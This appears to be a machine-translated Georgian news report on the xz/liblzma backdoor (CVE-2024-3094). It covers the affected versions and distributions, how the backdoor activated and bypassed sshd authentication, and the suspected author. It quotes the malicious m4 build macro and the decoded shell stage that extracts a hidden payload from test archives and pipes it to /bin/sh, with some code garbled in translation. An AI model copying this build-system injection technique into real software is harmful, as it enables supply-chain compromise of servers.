Xz/liblzma ბიბლიოთეკაში აღმოაჩინეს backdoor, რომელიც საშუალებას იძლევა შემოსვლა sshd-ის საშუალებით

XZ Utils პაკეტში, რომელიც მოიცავს liblzma-ს ბიბლიოთეკას და კომუნალურ პროგრამებს შეკუმშულ მონაცემებთან მუშაობისთვის „.xz“ ფორმატში, გამოვლენილია უკანა კარი (CVE-2024-3094), რომელიც საშუალებას იძლევა ჩაერთოს და შეცვალოს მონაცემები დამუშავებული აპლიკაციებით. ლიბლზმის ბიბლიოთეკასთან. Backdoor-ის მთავარი სამიზნე არის OpenSSH სერვერი, რომელიც ზოგიერთ დისტრიბუციაში არის შეფუთული libsystemd ბიბლიოთეკასთან, რომელიც თავის მხრივ იყენებს liblzma-ს. sshd დაუცველ ბიბლიოთეკასთან დაკავშირება თავდამსხმელებს საშუალებას აძლევს მიიღონ წვდომა SSH სერვერზე ავტორიზაციის გარეშე.

Backdoor წარმოდგენილი იყო ოფიციალურ გამოშვებებში 5.6.0 და 5.6.1, რომლებიც გამოქვეყნდა 24 თებერვალს და 9 მარტს, რომლებმაც მოახერხეს მოხვედრა ზოგიერთ დისტრიბუციასა და საცავში, მაგალითად, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide და 40-ბეტა, openSUSE ქარხანა და tumbleweed, LibreELEC, Alpine edge, Solus, NixOS არასტაბილური, OpenIndiana, OpenMandriva მოძრავი, pkgsrc დენი, Slackware მიმდინარეობა, Manjaro ტესტირება. xz 5.6.0 და 5.6.1 გამოშვების ყველა მომხმარებელს რეკომენდირებულია სასწრაფოდ დაბრუნდეს 5.4.6 ვერსიაზე.

პრობლემის შემამსუბუქებელ ფაქტორებს შორის შეიძლება აღინიშნოს, რომ liblzma-ს ვერსია backdoor-ით ვერ მოახერხა დიდი დისტრიბუციების სტაბილური გამოშვებების ნაწილი გამხდარიყო, მაგრამ შეეხო openSUSE Tumbleweed-სა და Fedora 40-beta-ს. Arch Linux-მა და Gentoo-მ გამოიყენეს zx-ის დაუცველი ვერსია, მაგრამ ისინი არ არიან მიდრეკილნი თავდასხმის მიმართ, რადგან ისინი არ იყენებენ systemd-notify პატჩს openssh-ზე, რაც იწვევს sshd-ის დაკავშირებას liblzma-სთან. Backdoor მოქმედებს მხოლოდ x86_64 სისტემებზე, რომლებიც დაფუძნებულია Linux ბირთვზე და Glibc C ბიბლიოთეკაზე.

Backdoor-ის აქტივაციის კოდი დამალული იყო m4 მაკროებში build-to-host.m4 ფაილიდან, რომელსაც გამოიყენებდა automake ინსტრუმენტარიუმის აშენებისას. ასამბლეის დროს, არქივებზე დაფუძნებული რთული ბუნდოვანი ოპერაციების შესრულებისას (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), რომელიც გამოიყენება ოპერაციის სისწორის შესამოწმებლად, შეიქმნა ობიექტის ფაილი მავნე კოდით, რომელიც შედიოდა liblzma ბიბლიოთეკა და შეცვალა ოპერაციის ლოგიკა მისი ზოგიერთი ფუნქცია. Backdoor-ის გამააქტიურებელი m4 მაკრო ჩართული იყო გამოშვების tarball-ებში, მაგრამ არ იყო Git-ის საცავში. ამავდროულად, საცავში იყო მავნე სატესტო არქივები, ე.ი. პირს, ვინც ახორციელებდა backdoor-ს, ჰქონდა წვდომა როგორც საცავზე, ასევე გამოშვების გენერირების პროცესებზე.

აპლიკაციებში liblzma-ს გამოყენებისას, მავნე ცვლილებები შეიძლება გამოყენებულ იქნას მონაცემების გადასაჭრელად ან შესაცვლელად, ან გავლენა მოახდინოს sshd-ის მუშაობაზე. კერძოდ, მავნე კოდმა გააფუჭა RSA_public_decrypt ფუნქცია sshd ავთენტიფიკაციის პროცესის გვერდის ავლით. Backdoor მოიცავდა დაცვას გამოვლენისგან და არ ვლინდებოდა LANG და TERM გარემოს ცვლადების დაყენებისას (ანუ პროცესის გაშვებისას ტერმინალში) და LD_DEBUG და LD_PROFILE გარემოს ცვლადები არ იყო დაყენებული და ასევე გააქტიურდა მხოლოდ შესრულებისას. /usr/sbin/sshd შესრულებადი ფაილი. Backdoor-ს ასევე ჰქონდა გამართვის გარემოში შესრულების გამოვლენის საშუალება.

კერძოდ, m4/build-to-host.m4 ფაილი იყენებდა gl_am_configmake=`grep -aErls „#{4}[[:alnum:]]{5}#{4}$“ $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

პირველ კონსტრუქციაში grep ოპერაციამ აღმოაჩინა ფაილი tests/files/bad-3-corrupt_lzma2.xz, რომელიც ამოხსნისას წარმოქმნიდა სკრიპტს: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && გამოდით 0 [ ! $(uname) = "Linux" ] && გამოდით 0 [ ! $(uname) = "Linux" ] && გამოდით 0 [ ! $(uname) = "Linux" ] && გამოდით 0 [ ! $(uname) = "Linux" ] && გამოდით 0 eval `grep ^srcdir= config.status` თუ ტესტი -f ../../config.status;შემდეგ eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi ექსპორტი i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####მსოფლიო####

როგორ მოახერხეს თავდამსხმელებმა xz პროექტის ინფრასტრუქტურაზე წვდომა, ჯერ ბოლომდე არ არის განმარტებული. ასევე ჯერ არ არის ნათელი, რამდენი მომხმარებელი და პროექტი დაზარალდა უკანა კარის შედეგად. Backdoor-ის სავარაუდო ავტორი (JiaT75 - Jia Tan), რომელმაც საცავში გამოაქვეყნა არქივები მავნე კოდით, მიმოწერა Fedora-ს დეველოპერებთან და გაუგზავნა Debian-ს მოთხოვნები დისტრიბუციის xz 5.6.0 ფილიალში გადასვლასთან დაკავშირებით და არ გამოუგზავნია. იწვევს ეჭვს, რადგან ის მონაწილეობდა xz-ში, ვითარდებოდა ბოლო ორი წლის განმავლობაში და არის მეორე დეველოპერი განხორციელებული ცვლილებების რაოდენობით. xz პროექტის გარდა, backdoor-ის სავარაუდო ავტორი ასევე მონაწილეობდა xz-java და xz-ჩაშენებული პაკეტების შემუშავებაში. უფრო მეტიც, Jia Tan რამდენიმე დღის წინ შევიდა Linux-ის ბირთვში გამოყენებული XZ Embedded პროექტის შემსრულებელთა რიცხვში.

მავნე ცვლილება აღმოაჩინეს CPU-ს გადაჭარბებული მოხმარებისა და valgrind-ის მიერ წარმოქმნილი შეცდომების ანალიზის შემდეგ ssh-ის საშუალებით Debian sid-ზე დაფუძნებულ სისტემებთან დაკავშირებისას. აღსანიშნავია, რომ xz 5.6.1 გამოშვებაში მოიცავდა ცვლილებებს, რომლებიც მომზადებული იყო backdoor-ის სავარაუდო ავტორის მიერ sshd-ის შენელებისა და ავარიების შესახებ საჩივრების საპასუხოდ, რომლებიც წარმოიშვა backdoor-ით zx 5.6.0 ვერსიაზე განახლების შემდეგ. გარდა ამისა, გასულ წელს ჯია ტანმა შეიტანა ცვლილებები, რომლებიც შეუთავსებელი იყო "-fsanitize=address" შემოწმების რეჟიმთან, რის გამოც იგი გამორთული იყო fuzz ტესტირების დროს.

წყარო: opennet.ru